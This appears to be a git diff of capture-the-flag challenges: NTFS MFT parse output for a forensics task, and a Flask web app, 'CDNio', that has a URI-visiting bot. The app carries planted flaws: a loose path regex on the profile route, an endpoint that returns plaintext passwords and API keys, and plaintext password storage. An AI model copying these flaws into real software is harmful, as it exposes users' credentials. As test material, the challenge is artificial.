\x00\x00\x00\x00\x00\x00\x00\x1e\x00F\x00i\x00n\x00a\x00l\x00_\x00F\x00i\x00n\x00a\x00n\x00c\x00i\x00a\x00l\x00_\x00S\x00t\x00a\x00t\x00e\x00m\x00e\x00n\x00t\x00.\x00x\x00l\x00s\x00x\x00\x00\x00)\x00\x00\x00\x00\x00\x01\x00\x88\x00v\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x01\x00^\x0bq\x893d\xda\x01^\x0bq\x893d\xda\x01^\x0bq\x893d\xda\x01^\x0bq\x893d\xda\x01\x00\x90\x00\x00\x00\x00\x00\x00\x00\x8c\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x1a\x00F\x00i\x00n\x00a\x00l\x00_\x00M\x00e\x00e\x00t\x00i\x00n\x00g\x00_\x00M\x00i\x00n\x00u\x00t\x00e\x00s\x00.\x00x\x00l\x00s\x00x\x00\x00\x00(\x00\x00\x00\x00\x00\x01\x00\x88\x00v\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x01\x00\x88\xe3p\x893d\xda\x01\x88\xe3p\x893d\xda\x01\x88\xe3p\x893d\xda\x01\x88\xe3p\x893d\xda\x01\x00\xe0\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x1a\x00F\x00i\x00n\x00a\x00l\x00_\x00P\x00r\x00o\x00j\x00e\x00c\x00t\x00_\x00P\x00r\x00o\x00p\x00o\x00s\x00a\x00l\x00.\x00p\x00d\x00f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\xff\xff\xff\xff\x82yG\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00'} None None None None
32 38 Valid In Use File 1 37 0 Final_Annual_Report.xlsx 2024-02-20T19:32:27.282Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.282Z 2024-02-20T19:32:27.282Z 2024-02-20T19:32:27.282Z 2024-02-20T19:32:27.282Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 7} None None None None None None None
33 39 Valid In Use File 1 37 0 Final_Financial_Statement.xlsx 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 14} None None None None None None None
34 40 Valid In Use File 1 37 0 Final_Project_Proposal.pdf 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z 2024-02-20T19:32:27.283Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 13} None None None None None None None
35 41 Valid In Use File 1 37 0 Final_Meeting_Minutes.xlsx 2024-02-20T19:32:27.284Z 2024-02-20T19:32:27.284Z 2024-02-20T19:32:27.284Z 2024-02-20T19:32:27.284Z 2024-02-20T19:32:27.284Z 2024-02-20T19:32:27.284Z 2024-02-20T19:32:27.284Z 2024-02-20T19:32:27.284Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 8} None None None None None None None
36 42 Valid In Use File 1 37 0 Final_Marketing_Plan.xlsx 2024-02-20T19:32:27.285Z 2024-02-20T19:32:27.285Z 2024-02-20T19:32:27.285Z 2024-02-20T19:32:27.285Z 2024-02-20T19:32:27.285Z 2024-02-20T19:32:27.285Z 2024-02-20T19:32:27.285Z 2024-02-20T19:32:27.285Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 13} None None None None None None None
37 43 Valid In Use File 1 37 0 Final_Business_Plan.xlsx 2024-02-20T19:32:27.285Z 2024-02-20T19:32:27.286Z 2024-02-20T19:32:27.286Z 2024-02-20T19:32:27.286Z 2024-02-20T19:32:27.285Z 2024-02-20T19:32:27.285Z 2024-02-20T19:32:27.285Z 2024-02-20T19:32:27.285Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 11} None None None None None None None
38 44 Valid In Use Directory 1 36 0 2024 2024-02-20T19:32:27.286Z 2024-02-20T19:33:30.300Z 2024-02-20T19:33:30.300Z 2024-02-20T19:33:30.300Z 2024-02-20T19:32:27.286Z 2024-02-20T19:32:27.286Z 2024-02-20T19:32:27.286Z 2024-02-20T19:32:27.286Z True False True False False False True True True False False False False [] None None None {'attr_type': 4784164, 'collation_rule': 3145779, 'index_alloc_size': 48, 'clusters_per_index': 1} {'data_runs_offset': 0} {'size': 4784164, 'data': b'3\x000\x00\x01\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x82yG\x11j\x90q\x893d\xda\x01j\x90q\x893d\xda\x01j\x90q\x893d\xda\x01\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x00\x04\x00 \x00\x00\x00\x00\x00\x00\x00\x12\x00B\x00u\x00s\x00i\x00n\x00e\x00s\x00s\x00_\x00P\x00l\x00a\x00n\x00.\x00x\x00l\x00s\x00x\x00x\x000\x00\x00\x00\x00\x00\x01\x00x\x00h\x00\x00\x00\x00\x00,\x00\x00\x00\x00\x00\x01\x00j\x90q\x893d\xda\x01j\x90q\x893d\xda\x01j\x90q\x893d\xda\x01j\x90q\x893d\xda\x01\x00\xb0\x00\x00\x00\x00\x00\x00\x00\xb0\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x13\x00M\x00a\x00r\x00k\x00e\x00t\x00i\x00n\x00g\x00_\x00P\x00l\x00a\x00n\x00.\x00x\x00l\x00s\x00x\x00/\x00\x00\x00\x00\x00\x01\x00\x80\x00j\x00\x00\x00\x00\x00,\x00\x00\x00\x00\x00\x01\x00\xb7jq\x893d\xda\x01j\x90q\x893d\xda\x01j\x90q\x893d\xda\x01j\x90q\x893d\xda\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00|\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x14\x00M\x00e\x00e\x00t\x00i\x00n\x00g\x00_\x00M\x00i\x00n\x00u\x00t\x00e\x00s\x00.\x00x\x00l\x00s\x00x\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x01\x00\x80\x00j\x00\x00\x00\x00\x00,\x00\x00\x00\x00\x00\x01\x00\xb7jq\x893d\xda\x01\xb7jq\x893d\xda\x01\xb7jq\x893d\xda\x01\xb7jq\x893d\xda\x01\x00\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x14\x00P\x00r\x00o\x00j\x00e\x00c\x00t\x00_\x00P\x00r\x00o\x00p\x00o\x00s\x00a\x00l\x00.\x00p\x00d\x00f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\xff\xff\xff\xff\x82yG\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00'} None None None None
39 45 Valid In Use File 1 44 0 Annual_Report.xlsx 2024-02-20T19:32:27.286Z 2024-02-20T19:32:27.287Z 2024-02-20T19:32:27.287Z 2024-02-20T19:32:27.287Z 2024-02-20T19:32:27.286Z 2024-02-20T19:32:27.286Z 2024-02-20T19:32:27.286Z 2024-02-20T19:32:27.286Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 14} None None None None None None None
40 46 Valid In Use File 1 44 0 Project_Proposal.pdf 2024-02-20T19:32:27.287Z 2024-02-20T19:33:30.300Z 2024-02-20T19:33:30.300Z 2024-02-20T19:33:30.300Z 2024-02-20T19:32:27.287Z 2024-02-20T19:32:27.287Z 2024-02-20T19:32:27.287Z 2024-02-20T19:32:27.287Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 10} None None None None None None None
41 47 Valid In Use File 1 44 0 Meeting_Minutes.xlsx 2024-02-20T19:32:27.287Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.287Z 2024-02-20T19:32:27.287Z 2024-02-20T19:32:27.287Z 2024-02-20T19:32:27.287Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 7} None None None None None None None
42 48 Valid Not in Use File 2 44 0 Marketing_Plan.xlsx 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 10} None None None None None None None
43 49 Valid In Use File 1 44 0 Business_Plan.xlsx 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z 2024-02-20T19:32:27.288Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 9} None None None None None None None
44 50 Valid In Use File 1 36 0 Base_Template.xlsx 2024-02-20T19:32:27.289Z 2024-02-20T19:32:27.289Z 2024-02-20T19:32:27.289Z 2024-02-20T19:32:27.289Z 2024-02-20T19:32:27.289Z 2024-02-20T19:32:27.289Z 2024-02-20T19:32:27.289Z 2024-02-20T19:32:27.289Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 14} None None None None None None None
45 51 Valid In Use File 1 36 0 credentials.txt 2024-02-20T19:32:27.290Z 2024-02-20T19:32:27.290Z 2024-02-20T19:32:27.290Z 2024-02-20T19:33:30.300Z 2024-02-20T19:32:27.290Z 2024-02-20T19:32:27.290Z 2024-02-20T19:32:27.290Z 2024-02-20T19:32:27.290Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': False, 'content_size': 31, 'start_vcn': None, 'last_vcn': None} None None None None None None None
46 52 Valid In Use File 1 44 0 Financial_Statement_draft.xlsx 2024-02-20T19:32:27.290Z 2024-02-20T19:32:27.289Z 2024-02-20T19:32:27.291Z 2024-02-20T19:32:27.289Z 2024-02-20T19:32:27.290Z 2024-02-20T19:32:27.290Z 2024-02-20T19:32:27.290Z 2024-02-20T19:32:27.290Z True False True False False True False False False False False False False [] None None {'name': '', 'non_resident': True, 'content_size': None, 'start_vcn': 0, 'last_vcn': 14} None None None None None None None

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,9 @@
[project]
name = "pursue-the-tracks"
version = "0.1.0"
description = "Add your description here"
readme = "README.md"
requires-python = ">=3.13"
dependencies = [
"analyzemft>=3.1.1",
]

View File

@@ -0,0 +1,61 @@
version = 1
revision = 3
requires-python = ">=3.13"
[[package]]
name = "analyzemft"
version = "3.1.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "openpyxl" },
{ name = "pywin32", marker = "sys_platform == 'win32'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/d2/7e/34f64d07e6cd9b8fdf9f3c7601283e4ac5c2b5a56385ecc7fc50c37af971/analyzemft-3.1.1.tar.gz", hash = "sha256:0b2eb151ffb98caeebe0eed33cbdc9c1dfada15da303ecaaafac1a310939ba15", size = 64739, upload-time = "2025-08-13T15:42:23.983Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/22/cb/ae33d6dde969113ea00e4f0eb2b5a7b6a39cee923bae6a1c832e6cd004e1/analyzemft-3.1.1-py3-none-any.whl", hash = "sha256:10fe723b4617827ae30c9aac376a273726404bdef0ea4a1e39f62f677a361f13", size = 43237, upload-time = "2025-08-13T15:42:22.482Z" },
]
[[package]]
name = "et-xmlfile"
version = "2.0.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/d3/38/af70d7ab1ae9d4da450eeec1fa3918940a5fafb9055e934af8d6eb0c2313/et_xmlfile-2.0.0.tar.gz", hash = "sha256:dab3f4764309081ce75662649be815c4c9081e88f0837825f90fd28317d4da54", size = 17234, upload-time = "2024-10-25T17:25:40.039Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/c1/8b/5fe2cc11fee489817272089c4203e679c63b570a5aaeb18d852ae3cbba6a/et_xmlfile-2.0.0-py3-none-any.whl", hash = "sha256:7a91720bc756843502c3b7504c77b8fe44217c85c537d85037f0f536151b2caa", size = 18059, upload-time = "2024-10-25T17:25:39.051Z" },
]
[[package]]
name = "openpyxl"
version = "3.1.5"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "et-xmlfile" },
]
sdist = { url = "https://files.pythonhosted.org/packages/3d/f9/88d94a75de065ea32619465d2f77b29a0469500e99012523b91cc4141cd1/openpyxl-3.1.5.tar.gz", hash = "sha256:cf0e3cf56142039133628b5acffe8ef0c12bc902d2aadd3e0fe5878dc08d1050", size = 186464, upload-time = "2024-06-28T14:03:44.161Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/c0/da/977ded879c29cbd04de313843e76868e6e13408a94ed6b987245dc7c8506/openpyxl-3.1.5-py2.py3-none-any.whl", hash = "sha256:5282c12b107bffeef825f4617dc029afaf41d0ea60823bbb665ef3079dc79de2", size = 250910, upload-time = "2024-06-28T14:03:41.161Z" },
]
[[package]]
name = "pursue-the-tracks"
version = "0.1.0"
source = { virtual = "." }
dependencies = [
{ name = "analyzemft" },
]
[package.metadata]
requires-dist = [{ name = "analyzemft", specifier = ">=3.1.1" }]
[[package]]
name = "pywin32"
version = "311"
source = { registry = "https://pypi.org/simple" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/a5/be/3fd5de0979fcb3994bfee0d65ed8ca9506a8a1260651b86174f6a86f52b3/pywin32-311-cp313-cp313-win32.whl", hash = "sha256:f95ba5a847cba10dd8c4d8fefa9f2a6cf283b8b88ed6178fa8a6c1ab16054d0d", size = 8705700, upload-time = "2025-07-14T20:13:26.471Z" },
{ url = "https://files.pythonhosted.org/packages/e3/28/e0a1909523c6890208295a29e05c2adb2126364e289826c0a8bc7297bd5c/pywin32-311-cp313-cp313-win_amd64.whl", hash = "sha256:718a38f7e5b058e76aee1c56ddd06908116d35147e133427e59a3983f703a20d", size = 9494700, upload-time = "2025-07-14T20:13:28.243Z" },
{ url = "https://files.pythonhosted.org/packages/04/bf/90339ac0f55726dce7d794e6d79a18a91265bdf3aa70b6b9ca52f35e022a/pywin32-311-cp313-cp313-win_arm64.whl", hash = "sha256:7b4075d959648406202d92a2310cb990fea19b535c7f4a78d3f5e10b926eeb8a", size = 8709318, upload-time = "2025-07-14T20:13:30.348Z" },
{ url = "https://files.pythonhosted.org/packages/c9/31/097f2e132c4f16d99a22bfb777e0fd88bd8e1c634304e102f313af69ace5/pywin32-311-cp314-cp314-win32.whl", hash = "sha256:b7a2c10b93f8986666d0c803ee19b5990885872a7de910fc460f9b0c2fbf92ee", size = 8840714, upload-time = "2025-07-14T20:13:32.449Z" },
{ url = "https://files.pythonhosted.org/packages/90/4b/07c77d8ba0e01349358082713400435347df8426208171ce297da32c313d/pywin32-311-cp314-cp314-win_amd64.whl", hash = "sha256:3aca44c046bd2ed8c90de9cb8427f581c479e594e99b5c0bb19b29c10fd6cb87", size = 9656800, upload-time = "2025-07-14T20:13:34.312Z" },
{ url = "https://files.pythonhosted.org/packages/c0/d2/21af5c535501a7233e734b8af901574572da66fcc254cb35d0609c9080dd/pywin32-311-cp314-cp314-win_arm64.whl", hash = "sha256:a508e2d9025764a8270f93111a970e1d0fbfc33f4153b388bb649b7eec4f9b42", size = 8932540, upload-time = "2025-07-14T20:13:36.379Z" },
]

View File

@@ -0,0 +1,31 @@
FROM alpine:latest
RUN apk update && apk upgrade && apk add --no-cache \
nginx \
python3 \
sqlite \
py3-pip \
openssl \
&& rm -rf /var/cache/apk/*
ENV PATH="/venv/bin:$PATH"
WORKDIR /www
COPY conf/requirements.txt .
RUN python3 -m venv /venv
RUN pip3 install --no-cache-dir -r requirements.txt
COPY challenge/ .
COPY conf/nginx.conf /etc/nginx/nginx.conf
COPY entrypoint.sh /
RUN chmod 600 /entrypoint.sh
RUN chmod +x /entrypoint.sh
EXPOSE 1337
ENTRYPOINT ["/entrypoint.sh"]

View File

@@ -0,0 +1,4 @@
#!/bin/sh
docker build --tag=web-cdnio . && \
docker run -p 1337:1337 --rm --name=web-cdnio -it web-cdnio

View File

@@ -0,0 +1,13 @@
from flask import Flask
def create_app():
app = Flask(__name__)
app.config.from_object('app.config.Config')
from .blueprints import main_bp, bot_bp, auth_bp
app.register_blueprint(main_bp)
app.register_blueprint(bot_bp)
app.register_blueprint(auth_bp)
return app

View File

@@ -0,0 +1,3 @@
from .main import main_bp
from .bot import bot_bp
from .auth import auth_bp

View File

@@ -0,0 +1,5 @@
from flask import Blueprint
auth_bp = Blueprint('auth_bp', __name__,)
from .routes import *

View File

@@ -0,0 +1,96 @@
from . import auth_bp
from flask import request, jsonify, current_app, render_template
import datetime, uuid, sqlite3, jwt
def get_db_connection():
conn = sqlite3.connect("/www/app/database.db")
conn.row_factory = sqlite3.Row
return conn
def generate_api_key():
return str(uuid.uuid4())
@auth_bp.route('/', methods=['POST', 'GET'])
def search():
if request.method == 'POST':
data = request.get_json()
username = data.get('username')
password = data.get('password')
if not username or not password:
return jsonify({"message": "username or password are required!"}), 400
conn = get_db_connection()
user = conn.execute(
"SELECT * FROM users WHERE username = ?", (username,)
).fetchone()
conn.close()
if user and user["password"] == password:
token = jwt.encode(
{
"sub": user["username"],
"iat": datetime.datetime.utcnow(),
"exp": datetime.datetime.utcnow() + datetime.timedelta(days=1),
},
current_app.config["JWT_SECRET_KEY"],
algorithm="HS256",
)
return jsonify({"token": f"{token}"}), 200
else:
return jsonify({"message": "Credentials not found. Please check your username and password."}), 404
else:
return render_template('search.html')
@auth_bp.route('/register', methods=['POST', 'GET'])
def register():
if request.method == 'POST':
data = request.get_json()
username = data.get('username')
password = data.get('password')
email = data.get('email')
if not username or not password or not email:
return jsonify({"message": "username, password, and email are required!"}), 400
conn = get_db_connection()
existing_user = conn.execute(
"SELECT * FROM users WHERE username = ? OR email = ?", (username, email,)
).fetchone()
if existing_user:
conn.close()
return jsonify({"message": "Username or email already exists!"}), 409
api_key = generate_api_key()
conn.execute(
"""
INSERT INTO users (username, password, email, api_key, created_at)
VALUES (?, ?, ?, ?, ?)
""",
(username, password, email, api_key, datetime.datetime.utcnow())
)
conn.commit()
conn.close()
return jsonify({"message": f"User {username} registered successfully!"}), 201
else:
return render_template('register.html')

View File

@@ -0,0 +1,5 @@
from flask import Blueprint
bot_bp = Blueprint('bot_bp', __name__,)
from .routes import *

View File

@@ -0,0 +1,22 @@
from . import bot_bp
from app.utils.bot import bot_thread
from app.middleware.auth import jwt_required
from flask import request, jsonify
@bot_bp.route('/visit', methods=['POST'])
@jwt_required
def visit():
data = request.get_json()
uri = data.get('uri')
if not uri:
return jsonify({"message": "URI is required"}), 400
bot_thread(uri)
return jsonify({"message": f"Visiting URI: {uri}"}), 200

View File

@@ -0,0 +1,5 @@
from flask import Blueprint
main_bp = Blueprint('main_bp', __name__,)
from .routes import *

View File

@@ -0,0 +1,47 @@
from . import main_bp
from app.middleware.auth import jwt_required
from flask import jsonify, request
import re, sqlite3
def get_db_connection():
conn = sqlite3.connect("/www/app/database.db")
conn.row_factory = sqlite3.Row
return conn
@main_bp.route('/<path:subpath>', methods=['GET'])
@jwt_required
def profile(subpath):
if re.match(r'.*^profile', subpath): # Django perfection
decoded_token = request.decoded_token
username = decoded_token.get('sub')
if not username:
return jsonify({"error": "Invalid token payload!"}), 401
conn = get_db_connection()
user = conn.execute(
"SELECT id, username, email, api_key, created_at, password FROM users WHERE username = ?",
(username,)
).fetchone()
conn.close()
if user:
return jsonify({
"id": user["id"],
"username": user["username"],
"email": user["email"],
"password": user["password"],
"api_key": user["api_key"],
"created_at": user["created_at"]
}), 200
else:
return jsonify({"error": "User not found"}), 404
else:
return jsonify({"error": "No match"}), 404

View File

@@ -0,0 +1,5 @@
import os
class Config:
JWT_SECRET_KEY = os.urandom(69).hex()
DEBUG = False

View File

@@ -0,0 +1,37 @@
from flask import request, jsonify, current_app
from functools import wraps
import jwt
def decode_jwt_token(token):
try:
payload = jwt.decode(token, current_app.config["JWT_SECRET_KEY"], algorithms=["HS256"])
return payload
except jwt.ExpiredSignatureError:
return {"error": "Token has expired."}
except jwt.InvalidTokenError:
return None
except Exception as e:
print(f"Unexpected error decoding JWT: {str(e)}")
return None
def jwt_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
auth_header = request.headers.get('Authorization', '').strip()
if not auth_header.startswith('Bearer '):
return jsonify({"error": "Token is missing or invalid!"}), 401
token = auth_header.split(" ", 1)[1].strip()
decoded_token = decode_jwt_token(token)
if decoded_token is None:
return jsonify({"error": "Invalid token!"}), 401
elif "error" in decoded_token:
return jsonify(decoded_token), 401
request.decoded_token = decoded_token
return f(*args, **kwargs)
return decorated_function

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

View File

@@ -0,0 +1,178 @@
body {
background-color: #0a0f1a;
color: #d0e7ff;
font-family: 'Orbitron', sans-serif;
font-size: 16px;
margin: 0;
padding: 0;
height: 100vh;
}
.main-content {
display: flex;
justify-content: center;
align-items: flex-start;
height: calc(100vh - 60px);
}
.sci-fi-profile, .sci-fi-login {
display: flex;
justify-content: center;
align-items: center;
width: 100%;
height: 100%;
}
.holo-container {
background: rgba(17, 34, 64, 0.7);
border: 2px solid rgba(29, 216, 240, 0.7);
border-radius: 15px;
padding: 40px;
width: 650px;
box-shadow: 0 0 15px rgba(29, 216, 240, 0.4), inset 0 0 25px rgba(29, 216, 240, 0.2);
text-align: center;
backdrop-filter: blur(5px);
position: relative;
z-index: 2;
}
.holo-header h1 {
font-size: 32px;
color: #1dd8f0;
text-transform: uppercase;
letter-spacing: 3px;
margin-bottom: 20px;
}
.holo-divider {
height: 2px;
background: linear-gradient(90deg, rgba(29, 216, 240, 0.5), rgba(29, 216, 240, 0), rgba(29, 216, 240, 0.5));
margin: 20px 0;
}
.holo-body {
display: flex;
flex-direction: column;
gap: 10px;
}
.holo-info {
display: flex;
flex-direction: column;
justify-content: flex-start;
align-items: flex-start;
font-size: 18px;
margin-bottom: 20px;
}
.holo-label {
color: #1dd8f0;
font-weight: bold;
margin-bottom: 5px;
}
.holo-value {
color: #d0e7ff;
font-weight: 300;
text-shadow: 0 0 8px rgba(255, 255, 255, 0.7), 0 0 12px rgba(29, 216, 240, 0.8);
}
.holo-container:hover {
box-shadow: 0 0 25px rgba(29, 216, 240, 0.9), inset 0 0 30px rgba(29, 216, 240, 0.5);
}
.holo-input {
background: rgba(17, 34, 64, 0.8);
border: 2px solid rgba(29, 216, 240, 0.5);
color: #d0e7ff;
width: 100%;
padding: 10px;
font-size: 16px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(29, 216, 240, 0.3);
outline: none;
transition: box-shadow 0.3s ease;
}
.holo-input:focus {
box-shadow: 0 0 20px rgba(29, 216, 240, 0.7);
}
.holo-button {
background-color: #1dd8f0;
color: #0a0f1a;
border: none;
padding: 12px 20px;
width: 100%;
border-radius: 8px;
font-size: 18px;
font-weight: bold;
letter-spacing: 2px;
cursor: pointer;
transition: background-color 0.3s ease, box-shadow 0.3s ease;
}
.holo-button:hover {
background-color: #1bc3e0;
box-shadow: 0 0 15px rgba(29, 216, 240, 0.7);
}
.holo-error-message {
color: #1dd8f0;
margin-top: 20px;
text-align: center;
}
.holo-container:before {
content: '';
position: absolute;
top: -10px;
left: -10px;
right: -10px;
bottom: -10px;
background: linear-gradient(45deg, rgba(29, 216, 240, 0.05), transparent);
filter: blur(20px);
z-index: -1;
animation: flicker 2s infinite;
}
@keyframes flicker {
0%, 100% {
opacity: 1;
}
50% {
opacity: 0.8;
}
}
.navbar {
background-color: rgba(10, 15, 26, 0.9);
padding: 10px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3);
position: fixed;
z-index: 1000;
}
.navbar-menu {
list-style-type: none;
display: flex;
justify-content: flex-end;
margin: 0;
padding: 0;
}
.navbar-link {
color: #1dd8f0;
text-decoration: none;
font-size: 18px;
margin-left: 20px;
transition: color 0.3s ease;
}
.navbar-link:hover {
color: #1bc3e0;
}
.main-content {
padding-top: 60px;
}

View File

@@ -0,0 +1,19 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{{ title if title else 'CDNio' }}</title>
<link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&display=swap" rel="stylesheet">
<link rel="icon" type="image/x-icon" href="{{ url_for('static', filename='favicon.ico') }}">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
</head>
<body>
<div class="main-content">
{% block content %}{% endblock %}
</div>
</body>
</html>

View File

@@ -0,0 +1,68 @@
{% extends "layout.html" %}
{% block content %}
<nav class="navbar">
<ul class="navbar-menu">
<li><a href="{{ url_for('auth_bp.search') }}" class="navbar-link">SEARCH</a></li>
<li><a href="{{ url_for('auth_bp.register') }}" class="navbar-link">REGISTER</a></li>
</ul>
</nav>
<div class="sci-fi-login">
<div class="holo-container">
<div class="holo-header">
<h1>Register</h1>
</div>
<div class="holo-divider"></div>
<form id="loginForm">
<div class="holo-info">
<label for="username" class="holo-label">Username:</label>
<input type="text" id="username" class="holo-input" required>
</div>
<div class="holo-info">
<label for="password" class="holo-label">Password:</label>
<input type="password" id="password" class="holo-input" required>
</div>
<div class="holo-info">
<label for="email" class="holo-label">Email:</label>
<input type="email" id="mail" class="holo-input" required>
</div>
<button type="button" class="holo-button" id="holo-button">REGISTER</button>
</form>
<div id="errorMessage" class="holo-error-message"></div>
</div>
</div>
<script>
$("#holo-button").click(function (){
var username = $("#username").val();
var password = $("#password").val();
var mail = $("#mail").val();
var creds = {
username: username,
password: password,
email: mail
};
$.ajax({
url: '/register',
type: 'POST',
contentType: 'application/json',
data: JSON.stringify(
creds
),
success: function(response) {
//var jsonResponse = JSON.parse(response);
$(".holo-error-message").text(response.message).css("color", "green");
},
error: function(xhr, status, error) {
var jsonResponse = JSON.parse(xhr.responseText);
$(".holo-error-message").text(jsonResponse.message).css("color", "red");
}
});
});
</script>
{% endblock %}

View File

@@ -0,0 +1,126 @@
{% extends "layout.html" %}
{% block content %}
<nav class="navbar">
<ul class="navbar-menu">
<li><a href="{{ url_for('auth_bp.search') }}" class="navbar-link">SEARCH</a></li>
<li><a href="{{ url_for('auth_bp.register') }}" class="navbar-link">REGISTER</a></li>
</ul>
</nav>
<div class="sci-fi-login">
<div class="holo-container">
<div class="holo-header">
<h1>Search</h1>
</div>
<div class="holo-divider"></div>
<form id="loginForm" onsubmit="login(event)">
<div class="holo-info">
<label for="username" class="holo-label">Username:</label>
<input type="text" id="username" class="holo-input" required>
</div>
<div class="holo-info">
<label for="password" class="holo-label">Password:</label>
<input type="password" id="password" class="holo-input" required>
</div>
<button type="button" class="holo-button" id="holo-button">SEARCH</button>
</form>
<div id="errorMessage" class="holo-error-message"></div>
</div>
</div>
<div class="sci-fi-profile" style="display: none;">
<div class="holo-container">
<div class="holo-header">
<h1>User Profile</h1>
</div>
<div class="holo-divider"></div>
<div class="holo-body" id="profileData">
</div>
</div>
</div>
<script>
$("#holo-button").click(function (){
var username = $("#username").val();
var password = $("#password").val();
var creds = {
username: username,
password: password
};
$.ajax({
url: '/',
type: 'POST',
contentType: 'application/json',
data: JSON.stringify(
creds
),
success: function(response) {
var jwt_token = response.token
localStorage.setItem('token', jwt_token);
fetchUserProfile();
},
error: function(xhr, status, error) {
var jsonResponse = JSON.parse(xhr.responseText);
